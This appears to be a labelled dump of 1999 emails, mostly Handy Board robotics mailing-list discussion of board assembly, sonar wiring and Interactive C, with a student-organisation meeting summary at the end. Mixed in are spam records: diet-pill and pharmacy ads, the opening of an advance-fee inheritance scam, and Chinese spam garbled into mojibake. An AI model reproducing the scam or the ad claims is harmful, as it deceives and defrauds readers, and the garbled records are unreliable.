nothing else. fred In your message you said: > > > I am almost complete with construction of my first handyboard. I used an in > accurate list to order my components and have a 2.94K resistor instead of > 3.83K as per the other list I have and the assembly manual. My question > is; Is the resistor only used for the IR circuit and if so I can run > without it, correct? I want to wait until I need something else before I > order just a couple of resistors. any help is appreciated! > > Keith L > > ",0,0 Ryan Meuth ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 06:25:20 -0600",Setting the Config Register,"Greetings all! I just finished building the handyboard from a kit, and it seems to be working just fine except for the fact that I can't seem to get the config register to set to 0x0c. It is now working on the 0x0d setting, but I know this is incorrect from an email I saw in the archives. Whenever I try to use the 0x0c setting, I can't download anything to the board, but I can when I use the 0x0d setting. I'm using the Windows 95 downloader and the kit I bought from Partrick Hui Robot Store in Hong Kong. I'd just like to know how I can change the register to 0x0c. Thank you. -- ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" --Albert Einstein Ryan ""Rhino"" Meuth http://i-tacoind.home.ml.org/ ",0,1 Simon.Schulz@hagener-tgz.de,handyboard@media.mit.edu,"Thu, 04 Feb 1999 13:48:30 +0100",Re: Re: R4 Resistor," ""Fred G. Martin"" schrieb: > where is this list that says 2.94K? please tell me so i can eradicate > the incorrect value. > > to answer, yes, just use it, it affects the IR xmit frequency and > nothing else. i have had the same problem, so i havent installed the ir-circuit yet. the mistake is in ""The Handy Board Technical Reference"" (July 12, 1998) PDF File ... On page 46 ( i am not sure) is a Part Listing: it says : .... 1% precision res 1 2.94K R4 0.11 2.94KXBK-ND Digikey .... 3.83K is the right value, right ? ",0,0 """Fred G. Martin"" ",Simon.Schulz@hagener-tgz.de,"Thu, 04 Feb 1999 09:29:12 -0500",Re: R4 Resistor ,"thank you! yes, 3.83k is correct. fred In your message you said: > > > ""Fred G. Martin"" schrieb: > > > where is this list that says 2.94K? please tell me so i can eradicate > > the incorrect value. > > > > to answer, yes, just use it, it affects the IR xmit frequency and > > nothing else. > > i have had the same problem, so i havent installed the ir-circuit yet. > the mistake is in ""The Handy Board Technical Reference"" (July 12, 1998) PDF F ile > ... > On page 46 ( i am not sure) is a Part Listing: > it says : > > .... > 1% precision res 1 2.94K R4 0.11 2.94KXBK-ND Digikey > .... > > 3.83K is the right value, right ? > > ",0,0 Phil ,doug@knowpeace.com,"Thu, 04 Feb 1999 09:04:33 -0600",Re: Memory erase or reset?,"Either disconnect the batteries and all sources of power or remove the memory chip.... -phil ",0,0 """Bruceg~ ���v�W�̱j�v���������U�� >> �C�릳�s�� / ���k�ݤ���122956138 "" ",play99@media.MIT.EDU,"Sat, 01 Sep 1894 23:15:34 +0800",�x�_�W�Һ�m�a���s���ʧ@�]�W�L�q������g�Z�̷s�@���N���o���^ ,"agone �s�W����1 Bruceg~ ���j�f�F�y�p���j�x����(���S�y+�S�I��~) ���f���~�F��,�����F!�O�v���P�����~����,���]���Q����,���x�p��!����,�`�����o���o�o... [Bruceg]�����s�W�m�M���r���n�G�m�M���r���n�K���g������ DVD��20���������W���M�\\ �������C��ssepcwpq Ami Nagatsuki �������� 6/4/1979 158 85-59-86 n/a �@",1,1 Nick Taylor ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 08:08:29 -0800",Re: NVRAM,"Dallas Semiconductor makes some static RAMs with an internal battery. One of them is the DA1230AB/Y, a 256kbit (32Kbyte) battery backed static RAM. http://www.dalsemi.com/DocControl/index.html - - - Nick - - - ""PROMATEC Proj. e Man. em Eletr. e Inst."" wrote: > > Hi! > > Here is Cesar Mello, from Brazil. I'd like to know if there is any NVRAM > version of the 62256 chip, or any other solution smaller than the external > batteries, or if it's possible to keep Interactive C and the user program > loaded in an EPROM.",0,1 Luca Imhof ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 18:46:30 +0200",Unsubscribe,"Thank's for the help !! Bye ",0,0 Stephen Michael ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 11:03:48 -0800",RE: Handyboard Expansion Sonar Issues,"To anyone who can help: I too have contructed the HB expansion board. All i/o ports appear to work. The servo controllers appear to work well also. However, like Ranjit, I'm having Polaroid Sonar problems. I got this as a kit from Wirtz Electronics. When activated, it appears to function (it repeatedly clicks when ""sonar_display()"" is executed), but returns apparently random readings. Does anyone have any suggestions as to what might be wrong? Stephen Michael sa_michael@hotmail.com > I assembled the expansion board and tested all I/O ports. > Everything checks out fine. I have the 6500 sonar module with > the flex cable. After loading 'sonar.c', I tried the > 'sonar_display()' function. The transducer came to life with > its 'clicking', but the LCD displayed a very rapidly fluctuating > 4 digit random number between 1100-1700. Aiming the transducer > in various positions has no effect on the numbers. > >Any suggestions will be appreciated, >Ranjit > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 BMajik5127@aol.com,handyboard@media.mit.edu,"Thu, 04 Feb 1999 14:33:15 -0500",Re: sensors for tennis ball,"Hi all, Does anyone know how advanced is the lego mindstorms robotics kits? And how much programming can you do with them? thanks -Mike ",0,0 """Sniping J. Swamp"" ",Bait ,"Fri, 05 Feb 1999 00:04:23 -0400",Melt away pounds with Hoodia,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.hosero.net Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" 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",1,0 Michael Toh ,handyboard@media.mit.edu,"Fri, 05 Feb 1999 05:39:39 +0800",RE:stack pointer,"hi fred and all, i am facing a problem with the handyboard about the stack pointer. every time i use a check on the digital and analog port on the console window, it will give me a result of stack pointer off by 65... bytes. i would like to know what is happening. and the HB will reset after sometime and when i start the program again, it will still reset after sometime. is it the problem with stack pointer or the voltage montior is faulty? from, michael ",0,0 Laris Pickett ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 16:34:36 -0600",Close out blank PC boards,"I obtained the close out inventory (about 450 boards) of a custom printed circuit board manufacturer and I am offering the following sizes to others wanting to make their own printed circuits using these blank boards. 1ea 3x5 $ .45 double and single sided 1ea 5x7 $ 1.00 double and single sided 1ea 6x8 $ 1.40 double and single sided 1ea 6x10 $ 1.75 double and single sided 1ea 8x10 $ 2.30 double and single sided 1ea 10x10 $ 2.90 double and single sided 1ea 10x12 $ 3.50 double and single sided Shipping is extra and runs: 5x7 or 6x8 $ .85 6x10 or 8x10 $1.35 mail return envelope with return postage direct to me at: Laris Pickett OnTarget Media, Inc. 2250 N Rock Road Suite 118-277 Wichita KS 67219 316-744-8600 If you have any questions, please e-mail me at lpickett@ontargetusa.com Laris Pickett WB0QNT ",0,0 """Fred G. Martin"" ",Stephen Michael ,"Thu, 04 Feb 1999 17:54:49 -0500",Re: Handyboard Expansion Sonar Issues ,"did you put the capacitor c7 (0.1uf) in the sonar board, as indicated in the directions? if not, plesae do so and let me know if this solves your problem. fred In your message you said: > To anyone who can help: > > I too have contructed the HB expansion board. All i/o > ports appear to work. The servo controllers appear to > work well also. However, like Ranjit, I'm having Polaroid > Sonar problems. I got this as a kit from Wirtz Electronics. > When activated, it appears to function (it repeatedly clicks > when ""sonar_display()"" is executed), but returns apparently > random readings. > > Does anyone have any suggestions as to what might be wrong? > > Stephen Michael > sa_michael@hotmail.com > > > > I assembled the expansion board and tested all I/O ports. > > Everything checks out fine. I have the 6500 sonar module with > > the flex cable. After loading 'sonar.c', I tried the > > 'sonar_display()' function. The transducer came to life with > > its 'clicking', but the LCD displayed a very rapidly fluctuating > > 4 digit random number between 1100-1700. Aiming the transducer > > in various positions has no effect on the numbers. > > > >Any suggestions will be appreciated, > >Ranjit > > > > -- > > Ranjit Diol - COMPSys > > Dowagiac,Michigan > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > ",0,1 """Fred G. Martin"" ",Michael Toh ,"Thu, 04 Feb 1999 18:04:53 -0500",Re: stack pointer ,"it's probably a comms problem. make sure to use full screen dos window. maybe other windows people can suggest tweaks they've used to get their machines talking to ethe board reliably? fred In your message you said: > hi fred and all, > > i am facing a problem with the handyboard about the stack pointer. every > time i use a check on the digital and analog port on the console window, it > will give me a result of stack pointer off by 65... bytes. i would like to > know what is happening. and the HB will reset after sometime and when i > start the program again, it will still reset after sometime. is it the > problem with stack pointer or the voltage montior is faulty? > > from, > michael > > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 04 Feb 1999 18:41:48 -0500",Re: Close out blank PC boards ,"i would ask people to please not patronize this person, as his email is a spam. thank you, fred ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Thu, 04 Feb 1999 18:57:46 -0500",Matrices with Interactive C?,"Does interactive C support matrices? ",0,0 Melva Buck ,handyboard@media.mit.edu,"Thu, 04 Feb 1999 20:19:32 +0003",All products for your health!,"http://thfghf.pillscrew.info/?88923301 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! 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Finally, I want to use the board with a full time battery backup that wont be drained by motors, etc. Is there a way to isolate the processor battery from the rest of the board? Thanks for all your help out there... great job, Mr. Martin. Bob K. ",0,0 Ranjit Diol ,Bob Kelly ,"Thu, 04 Feb 1999 22:16:49 -0500",Re: A few questions...,"I bought their Robot Platform (roomy and sturdy!) which came with two gearbox motors. I, too, am using the HB w/exp. If the motors you received are the same as the ones that are used on their Platform then you will have trouble using them via the HB motor pins. In my case, the motors became spastic while the HB kept resetting itself. The reason is that those motors run on a lower voltage than what the HB provides. I was able to kludge two different motors ( which I had purchased from Gleason Research Inc.) into the same gearboxes. It solved my problem. G'Luck, Ranjit Bob Kelly wrote: > Hello all, > > I have gotten both a Handy Board and an expansion board and they both appear > to work. My servo problem reported earlier is no longer an issue. > > I plan to use the HB with two High Power gear box/motor sets I got from HVW > Technologies. They seem like they will work ok but I am not so sure if they > are 100% compatable with the Board. By that I mean there was no info in the > gearbox/motor kits that specified voltage or amps for the motors and don't > want to shorten the life of the Board. Does any one have any experience with > these Motor/gearbox sets (mfg. bt Tamiya)? Any tips on how to use them > safely? > > Also, maybe its the ratings on the motors, but the motor function that > allows you to specify power levels appears to only turn it full on. I dont > want them running that fast. Any tips here? > > Finally, I want to use the board with a full time battery backup that wont > be drained by motors, etc. Is there a way to isolate the processor battery > from the rest of the board? > > Thanks for all your help out there... great job, Mr. Martin. > > Bob K. -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com ",0,1 Darkman ,michael lang kee ,"Thu, 04 Feb 1999 22:16:37 -0500",Re: Motor outputs,"Texas Instruments is the original manufacturer for those IC's michael lang kee wrote: > > I was wondering if anyone out there knew where to get parts for the sonar > board. I have fried the two IC chips on the board, the SN28784 and TL851. > Any help would be appreciated, thanks. > > > > > oooo$$$$$$$$$$$$oooo > oo$$$$$$$$$$$$$$$$$$$$$$$$o > oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ > o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ > oo $ $ ""$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ > ""$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ > $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ > $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """"""$$$ > ""$$$""""""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$ > $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$o > o$$"" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o > $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" ""$$$$$$ooooo$$$$o > o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ > $$$$$$$$""$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""""""""""" > """""""" $$$$ ""$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" o$$$ > ""$$$o """"""$$$$$$$$$$$$$$$$$$""$$"" $$$ > $$$o ""$$""""$$$$$$"""""""" o$$$ > $$$$o o$$$"" > ""$$$$o o$$$$$$o""$$$$o o$$$$ > ""$$$$$oo """"$$$$o$$$$$o o$$$$"""" > """"$$$$$oooo ""$$$o$$$$$$$$$"""""" > """"$$$$$$$oo $$$$$$$$$$ > """"""""$$$$$$$$$$$ > $$$$$$$$$$$$ > $$$$$$$$$$"" > ""$$$"""""""" > > > --------------- > Michael Kee - > mlkee@unm.edu - > ______________ ",0,0 """Fred G. Martin"" ",Bob Kelly ,"Thu, 04 Feb 1999 22:23:32 -0500",Re: A few questions... ,"a few notes... in the faq there is a discussion about how to measure the resistance of a motor coil, as a way of determining if it's compatible with the hb. also in the faq, is a description of a mod that will allow using a separate power supply for the motors. re: motor power, while the ""fd()"" and ""bk()"" functions apply full power, the ""motor()"" function allows you to modulate the power level between 0 and 100 percent. fred In your message you said: > Hello all, > > I have gotten both a Handy Board and an expansion board and they both appear > to work. My servo problem reported earlier is no longer an issue. > > I plan to use the HB with two High Power gear box/motor sets I got from HVW > Technologies. They seem like they will work ok but I am not so sure if they > are 100% compatable with the Board. By that I mean there was no info in the > gearbox/motor kits that specified voltage or amps for the motors and don't > want to shorten the life of the Board. Does any one have any experience with > these Motor/gearbox sets (mfg. bt Tamiya)? Any tips on how to use them > safely? > > Also, maybe its the ratings on the motors, but the motor function that > allows you to specify power levels appears to only turn it full on. I dont > want them running that fast. Any tips here? > > Finally, I want to use the board with a full time battery backup that wont > be drained by motors, etc. Is there a way to isolate the processor battery > from the rest of the board? > > > Thanks for all your help out there... great job, Mr. Martin. > > Bob K. > > ",0,0 Phil ,"""Fred G. Martin"" ","Thu, 04 Feb 1999 23:16:46 -0600",Re: stack pointer ,"Windows tips: Tip 1: Lose Windows!!! Reboot your computer, hit ""F8"" when the little message ""Starting Windows 95"" comes up. Select the option ""Command prompt only"". Now, run IC and/or DL and you should have no problems. Basically, windows is nothing but a parasite of DOS and is coming between you, the user, the program and the port you are communicating to the HB though. --philsky ",0,0 Adam Oliver ,handyboard@media.mit.edu,"Fri, 05 Feb 1999 17:01:58 +0800",Re: Matrices with Interactive C?,"I don't think it 'directly' supports matrices, but I have used a 2 dimenstional array to simulate a matrix. You may have to write some functions for multiplication etc, but it works ok. -----Original Message----- From: Peter Eacmen To: 'handyboard@media.mit.edu' Date: Friday, 5 February 1999 9:16 Subject: Matrices with Interactive C? >Does interactive C support matrices? >",0,0 """�����]�p�g�z�H"" ",handyboard@media.mit.edu,"Fri, 05 Feb 1999 17:01:11 +0800",�M�~�����W�Ȼ���,jsz >> �� ? �� �� <<,1,1 jdunn@unm.edu,Stephen Michael ,"Fri, 05 Feb 1999 06:53:16 -0700",Re: Handyboard Expansion Sonar Issues,"There is a very high probability that you plugged the foil cable in backwards. Doing so, even for a moment, will destroy the IC chips. It will still click (I haven't figured that one out yet), but the IC chips and possibly even the electrolytic capacitors, will need to be replaced before you will get any reliable output. The only way I know to check to see if the cable is plugged in correctly or not, is to use an ohm-meter and check continuity from the pin on the interface plug to the IC chips. Make sure to check continuity all the way through, not just to the board. The instructions for hooking up the foil cable is hard to find, and perhaps non-existant, our team-mate had no idea what had happened. It took considerable time before we figured this one out, the clicking is very deceptive. James Stephen Michael wrote: > > To anyone who can help: > > I'm having Polaroid > Sonar problems. I got this as a kit from Wirtz Electronics. > When activated, it appears to function (it repeatedly clicks > when ""sonar_display()"" is executed), but returns apparently > random readings. > > Does anyone have any suggestions as to what might be wrong? > > Stephen Michael > sa_michael@hotmail.com > -- James and Roya jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' 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STEVE ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 05 Feb 1999 07:57:56 -0800",Re: Handyboard Expansion Sonar Issues,"jdunn@unm.edu wrote: > > There is a very high probability that you plugged the foil cable in > backwards. Doing so, even for a moment, will destroy the IC chips. Please explain. Now I'm worried about damaging my sonar board. Since the foil cable has conductors on only one side, I didn't think that it was possible to plug it in ""backwards"" and still make an electrical connection. My understanding of the hookup is as follows: On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is toward the top of the board. On the Polaroid Ranging Module pin 1 is toward the left. If the foil cable is connected so that the dotted edge of the cable is nearest the pin 1 end of each connector, I fail to see how there is any danger of damaging the sonar board. Thanks for your help. - - -Nick - - -",0,0 Stephen Michael ,"fredm@media.mit.edu, sa_michael@hotmail.com","Fri, 05 Feb 1999 08:11:39 -0800",Re: Handyboard Expansion Sonar Issues,"Thanks. That seems to have done it. I don't know how I missed that line. Way cool device. Thanks again for your help. Stephen Michael sa_michael@hotmail.com >From fredm@ml.media.mit.edu Thu Feb 04 14:53:35 1999 >Received: from [18.85.13.107] by hotmail.com (1.1) with SMTP id MHotMailB8836FEE69C51D101709612550D6B0DFE0; Thu Feb 04 14:53:35 1999 >Received: from localhost (fredm@localhost [127.0.0.1]) > by ml.media.mit.edu (8.8.7/8.8.7) with SMTP id RAA04542; > Thu, 4 Feb 1999 17:54:50 -0500 (EST) >Message-Id: <199902042254.RAA04542@ml.media.mit.edu> >X-Authentication-Warning: ml.media.mit.edu: fredm@localhost [127.0.0.1] didn't use HELO protocol >To: ""Stephen Michael"" >cc: handyboard@media.mit.edu >Subject: Re: Handyboard Expansion Sonar Issues >In-reply-to: Your message of ""Thu, 04 Feb 1999 11:03:48 PST."" > <19990204190348.19165.qmail@hotmail.com> >Date: Thu, 04 Feb 1999 17:54:49 -0500 >From: ""Fred G. Martin"" >X-Mts: smtp > >did you put the capacitor c7 (0.1uf) in the sonar board, as indicated >in the directions? if not, plesae do so and let me know if this >solves your problem. > >fred > >In your message you said: >> To anyone who can help: >> >> I too have contructed the HB expansion board. All i/o >> ports appear to work. The servo controllers appear to >> work well also. However, like Ranjit, I'm having Polaroid >> Sonar problems. I got this as a kit from Wirtz Electronics. >> When activated, it appears to function (it repeatedly clicks >> when ""sonar_display()"" is executed), but returns apparently >> random readings. >> >> Does anyone have any suggestions as to what might be wrong? >> >> Stephen Michael >> sa_michael@hotmail.com >> >> >> > I assembled the expansion board and tested all I/O ports. >> > Everything checks out fine. I have the 6500 sonar module with >> > the flex cable. After loading 'sonar.c', I tried the >> > 'sonar_display()' function. The transducer came to life with >> > its 'clicking', but the LCD displayed a very rapidly fluctuating >> > 4 digit random number between 1100-1700. Aiming the transducer >> > in various positions has no effect on the numbers. >> > >> >Any suggestions will be appreciated, >> >Ranjit >> > >> > -- >> > Ranjit Diol - COMPSys >> > Dowagiac,Michigan >> >> >> ______________________________________________________ >> Get Your Private, Free Email at http://www.hotmail.com >> ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com",0,1 snafy jude ,hillman0147@yahoo.com,"Fri, 05 Feb 1999 04:24:43 -0700",4mat," I am Mr. lawrence Edge, a solicitor at law. I am the personal attorney to late Mr. Pitt Sadiq, who used to work with Pan African Coporation in Nigeria. Here in after shall be referred to as my client. On the 21st of April 2000, my client, his wife and their only daughter were involved in a car accident along sagbama express road. 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On the Polaroid Ranging Module pin 1 > is toward the left. If the foil cable is connected so that the > dotted edge of the cable is nearest the pin 1 end of each connector, > I fail to see how there is any danger of damaging the sonar board. It's possible that the flat flex cable could make electrical contact either way, since the socket has ""teeth"" in it that could penetrate the insulation on the one side of the cable. And *don't* trust that the dotted edge is the correct one; I ordered the pair of sonar kits, and it came with one cable correctly marked and the other cable incorrectly marked. Just make sure that pin 1 as marked on the sonar module board ends up connected to the corresponding pin on the expansion board. If you're in any doubt, check the circuits and verify that V+ goes to V+, GND goes to GND, etc. I hope this helps. --Will",0,0 chad_pennebaker@douglas.com,handyboard@media.mit.edu,"Fri, 05 Feb 1999 16:09:31 +0000",Re: Please help!!!!!!!,"We ought to get Fred's input on this; however, the only change I see is that Resistor R11 has been moved between versions 1.0 and 1.1. Everything else looks to me to be the same between the two versions. Steve Wall,SWALL@flemingc.on.ca,Internet writes: > I have a serial/batt board that's version 1.1 and it is not the board > specified in the assembly manual so I have no clu on how to construct > the thing I searched the site but there are no assembly instructions > for this version can somebody help me please. > > I woul like to get started construction as soon as possible and I > dont havw a accurate manual or component list. > > recap: The ser/batt board I reveived is NOT the one in the manual... _________________________________________________________________________ Chad Pennebaker, President mailto:chad_pennebaker@douglas.com ** Creators of the Douglas CAD/CAM System for Macintosh PCB Design ** Douglas Electronics, Inc. http://www.douglas.com 2777 Alvarado Street voice:+1 510 483-8770 x46 San Leandro, CA 94577 USA fax:+1 510 483-6453 BBS (FirstClass):+1 510 483-6548 ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 05 Feb 1999 11:35:52 -0800",Re: Handyboard Expansion Sonar Issues,"Bill - - Thanks! - - - Nick - - - William Bain wrote: > > On Fri, 5 Feb 1999, Nick Taylor wrote: > > > jdunn@unm.edu wrote: > > > > > > There is a very high probability that you plugged the foil cable in > > > backwards. Doing so, even for a moment, will destroy the IC chips. > > > > Please explain. Now I'm worried about damaging my sonar board. Since > > the foil cable has conductors on only one side, I didn't think that it > > was possible to plug it in ""backwards"" and still make an electrical > > connection. > > > > My understanding of the hookup is as follows: > > On the HB Expansion Board pin 1 (gnd) of the Polaroid connector is > > toward the top of the board. On the Polaroid Ranging Module pin 1 > > is toward the left. If the foil cable is connected so that the > > dotted edge of the cable is nearest the pin 1 end of each connector, > > I fail to see how there is any danger of damaging the sonar board. > > It's possible that the flat flex cable could make electrical contact > either way, since the socket has ""teeth"" in it that could penetrate the > insulation on the one side of the cable. > > And *don't* trust that the dotted edge is the correct one; I ordered the > pair of sonar kits, and it came with one cable correctly marked and the > other cable incorrectly marked. > > Just make sure that pin 1 as marked on the sonar module board ends up > connected to the corresponding pin on the expansion board. If you're in > any doubt, check the circuits and verify that V+ goes to V+, GND goes to > GND, etc. I hope this helps. > > --Will",0,0 Simon.Schulz@hagener-tgz.de,handyboard@media.mit.edu,"Fri, 05 Feb 1999 21:25:36 +0100",Dinsmore Compass 1490,"Hi, I found this on the internet, and I wanted to know if anyone is using it: http://dinsmoregroup.com/dico/1490spec.htm They produce a digital Compass which is very cheap ($12 only). Anyone already used such a compass ? Is there a way to get such a compass working with the HandyBoard ? Thanks in advance! Bye, Simon ",0,1 """Fred G. Martin"" ",SWALL@flemingc.on.ca,"Fri, 05 Feb 1999 15:36:33 -0500",Re: Please help!!!!!!! ,"yes, the only change is that R11 moved (and should be 5 watts now). sorry i haven't updated things, but that's really all that's different. fred In your message you said: > We ought to get Fred's input on this; however, the only change I see is that > Resistor R11 has been moved between versions 1.0 and 1.1. Everything else > looks to me to be the same between the two versions. > > > Steve Wall,SWALL@flemingc.on.ca,Internet writes: > > I have a serial/batt board that's version 1.1 and it is not the board > > specified in the assembly manual so I have no clu on how to construct > > the thing I searched the site but there are no assembly instructions > > for this version can somebody help me please. > > > > I woul like to get started construction as soon as possible and I > > dont havw a accurate manual or component list. > > > > recap: The ser/batt board I reveived is NOT the one in the manual... > _________________________________________________________________________ > Chad Pennebaker, President mailto:chad_pennebaker@douglas.com > > ** Creators of the Douglas CAD/CAM System for Macintosh PCB Design ** > > Douglas Electronics, Inc. http://www.douglas.com > 2777 Alvarado Street voice:+1 510 483-8770 x46 > San Leandro, CA 94577 USA fax:+1 510 483-6453 > BBS (FirstClass):+1 510 483-6548 > ",0,1 Greg Hayward ,"""'handyboard@media.mit.edu'"" ","Fri, 05 Feb 1999 12:36:49 -0600",Parts list up-date," I will be going down to my local electronics store to buy the part to put two of these boards together. I have been going through the list to get a true description of all the parts and have found that Digi-key no longer stocks some parts by the numbers given in the parts list. Does any one have a new parts list or better description on the parts. Like the caps with their values for voltage. I am more of a mechanical person and just knowledgeable enough in electronics to be dangerous, so I need all the help here I can get. thank for the time Greg Hayward ",0,0 Tom Brusehaver ,Simon.Schulz@hagener-tgz.de,"Fri, 05 Feb 1999 15:10:39 -0600",Re: Dinsmore Compass 1490," >http://dinsmoregroup.com/dico/1490spec.htm > >They produce a digital Compass which is very cheap ($12 only). >Anyone already used such a compass ? >Is there a way to get such a compass working with >the HandyBoard ? The dinsmore devices are really easy to work with. This one has 4 hall effect devices in it, and the output is digital. If you align it with cardinal coordinates you can tell North, East, South, and West very easily only one device is triggered, and the NW, NE, SE, NW coordinates when two devices are triggered. Simply bias the the devices, and read the digital output at any device output. ",0,1 Robert Pitts ,info@gso.bu.edu,"Fri, 05 Feb 1999 17:15:33 -0500","GSO - summary of Thu, Feb 4, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, February 18th, 5:30-6:45pm. Note that there is still a need for volunteers who can help plan next Fall's New Grad Student Orientation and also a need for suggestions for that orientation (as mentioned in the Liaison Committee report below). --Rob Summary ======= 1. Committee Reports Committee Membership Changes ---------------------------- Amy Tapper and Cassandra Celatka have taken over the Social Committee. Since Cassandra was a liaison, that leaves Gary Garber as the only member of the Liaison Committee. Jen Wenner has moved from the Social to Steering Committee. There is also one other person who may be able to give some help to Steering. ----- A brief report was given by each committee: Funding Committee ================= Gareth Roberts gave the main report for this committee with some additional information presented by Ann Walker . They have more details on Harvard and MIT's grad stipend payscales. Details will be given on their up-and-coming web pages (see below). They also learned that Harvard surveyed pay scales at comparable schools and then raised its stipends this past Fall 98 (this indicates that the Harvard pay rates mentioned by Funding last semester we not the most current ones). Recall that BU is raising its stipend rates next Fall 99. BU also did a study of rates at comparable schools before deciding on this raise. As for MIT, they seem to have pay scales that differ between departments (differences can be by up to 10%), but that the differences in pay are not considered a ""problem"" by students(?) -- Because gathering pay rates at other schools has been slow and difficult AND because they would like to do more to serve student needs, they would like to expand into: - Promoting better mentoring. The national organization (NAGPS) and school GSO's around the country are concerned about improving student/advisor relations. One method, which Harvard's Grad Student Council implements, is to provide awards to good mentors. They will explore what they can do on this issue. - Grievances. They will research what kind of system is currently in place for grad student grievances at BU and see if improvements are needed. - Web pages. They will start a subpage under the GSO's main page (http://gso.bu.edu). They'll at least include pay rate info at other school. They will still continue to gather pay rate information. They are looking for a new name for this committee that better communicates their new goals. Healthcare Committee ==================== Rob Pitts reported for this committee. They've put some information on student health services fees at selected other school's (courtesy of Tufts Univ's Grad Student Council) on the Healthcare Pages (http://gso.bu.edu/healthcare/). The NAGPS's Healthcare Committee has solicited feedback on the set of questions that they want to use for their national survey. The GSO's Healthcare Committee is currently compiling their own suggestions on how to improve those questions. Edits to the survey have an upcoming deadline, so this is their current high priority. Thereafter, the next projects include: - Write-up of assistance programs at Mass. General Hospital (MGH). - Write-up of Northeastern Univ's student insurance plan (apparently they also have a Chickering plan). I.e., they'd like to review one more Chickering plan in prep for a possible Chickering brown bag lunch talk (currently, they've written up BU and Tufts Univ's Chickering plans). Although they might get some of this information if Northeastern participates in the NAGPS Healthcare Survey, those results may not be ready in time. - Write-up of researched dental plans (mentioned at last meeting). ----- A meeting attendee asked why Chickering seemed to be prevalent with some Boston schools. They were not sure, but replied that BU and Tufts (both with Chickering plans) have similar campus health centers (e.g., without many specialists and services). Harvard and MIT, which both have fairly full-service campus health centers, have Blue Cross Blue Shield insurance plans. Housing Committee ================= Catherine Capuzzi reported for this committee. They announced that they've made an appointment to talk to Off-campus Housing. ----- Meeting attendees reminded them that a main goal should be to get Off-campus Housing to provide new students (before they arrive at BU) access to the Office's housing listings and that they shouldn't ""take no for an answer"" (i.e., it can be done!) Since Off-campus Housing might not be familiar with the technical details of granting access to students without accounts, it was also suggested that they talk to Information Technology (IT) before that meeting. IT probably provides the technical support for maintaining Off-campus Housing's listings, and so, could suggest technical details of how new students could be given access and also might suggest who in Off-campus Housing would be best to talk to on this issue. Liaison Committee ================= Gary Garber reported for this committee. Because he had to leave early, he mainly had time to report that Andrea White (Assoc. Dean Whitaker's assistant) asked to meet with him early next week (week of 2/8) to discuss next Fall's orientation. Anyone who has suggestions for orientation should send them to liaison@gso.bu.edu ASAP. We still need volunteers to help plan orientation. He also reported that the graduate student lounge (location of our meeting) now has bookshelves. ----- A meeting attendee who is a research assistance said they were able to take out a book for the whole semester (they had a shorter borrow period last semester). It's not clear if this means the administration has improved the borrowing privileges for non-TF grads. Social Committee ================ Cassandra Celatka reported for this committee. They've planned the first social event of the semester for 2/10/99. This will be a night out for grads at a local bar near BU. Posters will be placed around campus. By the week of the event, information about it should be on the web site and should go out by e-mail. They still aren't sure whether the money we normally get for Pub Nights (to buy snacks) can be used for this off-campus event. They are considering other events, like bowling, for this semester (about one event per month). A problem identified with bowling was that there aren't any 10-pin bowling lanes near BU. ----- A meeting attendee suggested something like planning a ski trip over Spring Break, but they said that would be too ambitious for them this semester. Steering Committee ================== Several committee members were present. A meeting attendee suggested that as they write up constitution/bylaw articles, they do so in a word processor since it is then easy to export that document as a text file (for e-mail distribution) AND as HTML (for our web pages eventually). Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Cycle/Voting Procedures for Articles We fleshed out more details of the cycle of reviewing/voting on articles. The cycle 